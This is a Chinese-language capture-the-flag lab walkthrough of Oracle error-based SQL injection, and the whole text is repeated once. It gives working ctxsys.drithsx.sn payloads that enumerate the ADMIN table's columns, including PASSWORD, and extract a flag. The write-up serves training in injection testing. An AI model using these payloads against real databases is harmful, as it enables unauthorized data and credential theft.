oracle报错注入 user,SQL注入靶场—Oracle 报错注入
打开靶场链接后,按照提示,URL后面加上id参数,再访问,如下:
image.png
用id=1 进行注入测试,出现了报错,从报错提示可看出,该数据库是Oracle
image.png
用id=1 --+ 再测试,则正常显示:
image.png
下面尝试使用报错注入让想要查询的数据回显在Oracle的报错信息中。
使用 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1)) 可输出表名admin:
image.png
接着查找admin表中的字段名:ID、USER_NAME、PASSWORD 和 FLAG_FLAG
ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where table_name=ADMIN and rownum=1))
image.png
1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where table_name=ADMIN and column_name<>ID and rownum=1))
image.png
1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where table_name=ADMIN and column_name<>ID and column_name<>USER_NAME and rownum=1))
image.png
1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where table_name=ADMIN and column_name<>ID and column_name<>USER_NAME and column_name<>PASSWORD and rownum=1))
image.png
最后查询 FLAG_FLAG的数据即可得到flag:
1=ctxsys.drithsx.sn(1,(select FLAG_FLAG from ADMIN where rownum=1))
打开靶场链接后,按照提示,URL后面加上id参数,再访问,如下: image.png 用id=1 进行注入测试,出现了报错,从报错提示可看出,该数据库是Oracle image.png 用id=1 --+ 再测试,则正常显示: image.png 下面尝试使用报错注入让想要查询的数据回显在Oracle的报错信息中。 使用 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1)) 可输出表名admin: image.png 接着查找admin表中的字段名:ID、USER_NAME、PASSWORD 和 FLAG_FLAG ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where table_name=ADMIN and rownum=1)) image.png 1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where table_name=ADMIN and column_name<>ID and rownum=1)) image.png 1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where table_name=ADMIN and column_name<>ID and column_name<>USER_NAME and rownum=1)) image.png 1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where table_name=ADMIN and column_name<>ID and column_name<>USER_NAME and column_name<>PASSWORD and rownum=1)) image.png 最后查询 FLAG_FLAG的数据即可得到flag: 1=ctxsys.drithsx.sn(1,(select FLAG_FLAG from ADMIN where rownum=1))